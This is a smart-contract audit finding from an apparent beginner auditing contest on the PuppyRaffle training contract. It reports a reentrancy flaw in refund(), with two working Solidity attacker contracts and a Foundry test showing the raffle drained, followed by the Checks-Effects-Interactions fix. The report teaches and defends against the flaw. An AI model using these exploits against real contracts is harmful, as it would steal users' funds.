Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Reentrancy in `PuppyRaffle::refund` allows a malicious player to drain all raffle funds

Root Cause + Description

PuppyRaffle::refund makes the external ETH transfer BEFORE it updates the players
array, violating Checks-Effects-Interactions. The player's slot is still set when the
call is made, so a contract caller can re-enter refund from its receive/fallback
and withdraw repeatedly until the contract is drained.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
@> payable(msg.sender).sendValue(entranceFee); // interaction (sends ETH) BEFORE the effect
​
players[playerIndex] = address(0); // effect (state update) happens too late
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood: High — any participant can trigger it simply by entering the raffle with
a contract; there are no special preconditions.

Impact: High — complete loss of every ETH held by the contract, including all honest
players' entrance fees.

Proof of Concept

4 honest players deposit 4 ETH. The attacker enters with 1 ETH and walks away with 5 ETH,
leaving the raffle at 0. The attacker's receive() re-enters refund before its slot is
zeroed:

contract ReentrancyAttacker {
PuppyRaffle raffle;
uint256 entranceFee;
uint256 attackerIndex;
​
constructor(PuppyRaffle _raffle) {
raffle = _raffle;
entranceFee = _raffle.entranceFee();
}
​
function attack() external {
address[] memory players = new address[](1);
players[0] = address(this);
raffle.enterRaffle{value: entranceFee}(players);
attackerIndex = raffle.getActivePlayerIndex(address(this));
raffle.refund(attackerIndex);
}
​
receive() external payable {
if (address(raffle).balance >= entranceFee) {
raffle.refund(attackerIndex); // re-entry before the slot is zeroed
}
}
}
​
// In the test: 4 honest players already entered (4 ETH in the contract).
function test_reentrancyDrainsRaffle() public {
ReentrancyAttacker attacker = new ReentrancyAttacker(puppyRaffle);
vm.deal(address(attacker), entranceFee); // attacker starts with 1 ETH
attacker.attack();
assertEq(address(puppyRaffle).balance, 0); // raffle drained
assertEq(address(attacker).balance, 5 ether); // attacker took everything
}

Recommended Mitigation

Apply Checks-Effects-Interactions: update state before the external call.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
+ players[playerIndex] = address(0);
+ emit RaffleRefunded(playerAddress);
payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
- emit RaffleRefunded(playerAddress);
}

Optionally add OpenZeppelin's ReentrancyGuard and the nonReentrant modifier.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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